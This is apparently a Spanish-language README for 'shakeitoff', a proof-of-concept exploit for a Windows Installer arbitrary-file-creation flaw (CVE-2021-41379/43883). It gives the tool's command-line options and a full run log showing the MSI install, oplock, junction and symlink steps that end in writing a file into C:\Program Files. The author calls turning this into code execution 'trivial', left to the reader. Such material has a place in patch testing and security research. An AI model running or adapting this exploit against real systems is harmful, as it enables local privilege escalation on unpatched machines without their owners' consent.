shakeitoff

Una versión más pequeña, minimizada y limpia de InstallerFileTakeOver, también conocido como el exploit de día cero que es una "variación" de CVE-2021-41379 (posteriormente asignado como CVE-2021-43883). Esta versión no abre una shell como lo hace InstallerFileTakeOver. El objetivo de este código fue crear una prueba de concepto más simple que demuestre de manera más fiable el ataque de creación de archivos. Esta prueba de concepto creará el archivo arbitrario solicitado por el usuario (y se copiará a sí mismo dentro de él para demostrar que se puede escribir). Demostrar la ejecución de código es un ejercicio trivial que se deja al lector.

Para entender cómo funciona el ataque, consulte el análisis de AttackerKB.

Uso

La herramienta requiere tres parámetros:

C:\Users\albinolobster\source\repos\shakeitoff\x64\Release>.\shakeitoff.exe
option "msi_path" is required
Allowed options:
  -h, --help              produce help message
  -m, --msi_path arg      The path to the MSI to install
  -i, --install_path arg  The path to install to
  -p, --target_path arg   The file to create

1. -m - el msi a instalar (ruta completa requerida). Se proporciona uno en este repositorio (y debería usarlo ya que las rutas de archivos realmente importan).
2. -i - la ruta de instalación (ruta completa requerida). Aquí es donde se instala el msi / ocurre el exploit. El usuario debe especificarla de antemano y debe ser un directorio vacío. La herramienta no lo limpia porque facilita entender el error. También debe tener una barra invertida final porque soy un monstruo.
3. -p - el archivo a sobrescribir/crear. Ruta completa requerida.

El PoC simplemente se copia a sí mismo dentro del archivo destino.

Ejemplo de uso

C:\Users\Public>dir "C:\Program Files\lol"
 Volume in drive C has no label.
 Volume Serial Number is 5E1E-AC13

 Directory of C:\Program Files

File Not Found

C:\Users\Public>.\shakeitoff.exe -m C:\Users\Public\shakeitoff.msi -i C:\Users\Public\lol\ -p "C:\Program Files\lol"
[+] User provided MSI path: C:\Users\Public\shakeitoff.msi
[+] The target path is: C:\Program Files\lol
[+] Create the temp directory structure we'll install into
[+] Grabbing handle to lock C:\Users\Public\lol\shakeitoff\haters.jpg
[+] Grabbing a directory handle of C:\Users\Public\lol\shakeitoff\
[+] Monitor shakeitoff\shakeitoff for an rbf file
[+] MSI install: ACTION=ADMIN REBOOT=ReallySuppress TARGETDIR=C:\Users\Public\lol\ C:\Users\Public\shakeitoff.msi
[+] Grabbing a handle to inner shakeitoff directory
[+] In callback for oplock one
[+] Opening handle to C:\Users\Public\lol\shakeitoff\8da858.rbf
[+] Creating the callback directory at C:\Users\Public\lol\cb_directory
[+] Grab a handle for the callback directry
[+] Creating a junction from C:\Users\Public\lol\cb_directory to \BaseNamedObjects\Restricted
[+] Inside callback two
[+] Release the hater.jpg handle to unlock
[+] Move the rbf file to C:\Users\Public\lol\weird_directory
[+] Move inner shakeitoff to C:\Users\Public\lol\weird_directory
[+] Move junction at C:\Users\Public\lol\cb_directory to C:\Users\Public\lol\shakeitoff
[+] Configuring symlink from \BaseNamedObjects\Restricted\8da858.rbf to \??\C:\Program Files\lol
[+] symlink created!
[+] MsiInstallProductA return value: 1603
[+] Exploit thread joined
[+] Copy into target!

C:\Users\Public>dir "C:\Program Files\lol"
 Volume in drive C has no label.
 Volume Serial Number is 5E1E-AC13

 Directory of C:\Program Files

12/02/2021  02:01 PM           368,640 lol
               1 File(s)        368,640 bytes
               0 Dir(s)  86,015,610,880 bytes free

Créditos

• Este código está influenciado por el exploit original publicado por Abdelhamid Naceri (¡también el descubridor original de la vulnerabilidad!).
• El código FileOpLock es una versión (ligeramente modificada) extraída de angrypolarbearbug2
• Taylor Swift